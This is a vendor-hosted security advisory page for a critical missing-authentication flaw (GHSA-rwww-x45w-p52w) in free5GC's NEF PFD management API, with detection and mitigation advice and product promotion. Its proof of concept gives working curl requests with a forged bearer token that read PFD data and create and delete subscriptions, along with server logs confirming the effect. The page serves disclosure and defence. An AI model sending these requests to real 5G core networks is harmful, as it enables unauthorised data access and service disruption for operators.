Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-rwww-x45w-p52w

CRITICAL

GHSA-rwww-x45w-p52w is a critical-severity (CVSS 10) vulnerability in github.com/free5gc/nef. O3 Security confirms whether GHSA-rwww-x45w-p52w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions

Also known asCVE-2026-44330GO-2026-5642
Published
May 8, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Jun 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/free5gc/nef

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.0
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.

Code evidence (paths in free5gc/nef):

  • Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56
  • Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/api_pfdf.go:13
  • Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/api_pfdf.go:13
  • GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19
  • GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53
  • POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83
  • DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110
  • NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

  1. Seed an AF context (also forged-token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
  1. Seed one PFD application entry (also forged-token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
  1. READ PFD collection with forged token -> 200 OK returns PFD data:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
  1. READ individual PFD with forged token -> 200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
  1. CREATE PFD subscription with forged token -> 201 Created:
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
  1. DELETE PFD subscription with forged token -> 204 No Content:
curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1

NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:

[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST   | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:

  • Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
  • Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.
  • Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.

The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/free5gc/nefall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/nef. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/free5gc/nef has shipped for GHSA-rwww-x45w-p52w yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rwww-x45w-p52w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rwww-x45w-p52w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and
O3 Security · Impact-Aware SCA

Is GHSA-rwww-x45w-p52w in your dependencies?

O3 detects GHSA-rwww-x45w-p52w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-rwww-x45w-p52w: nef (Critical 10) | O3 Security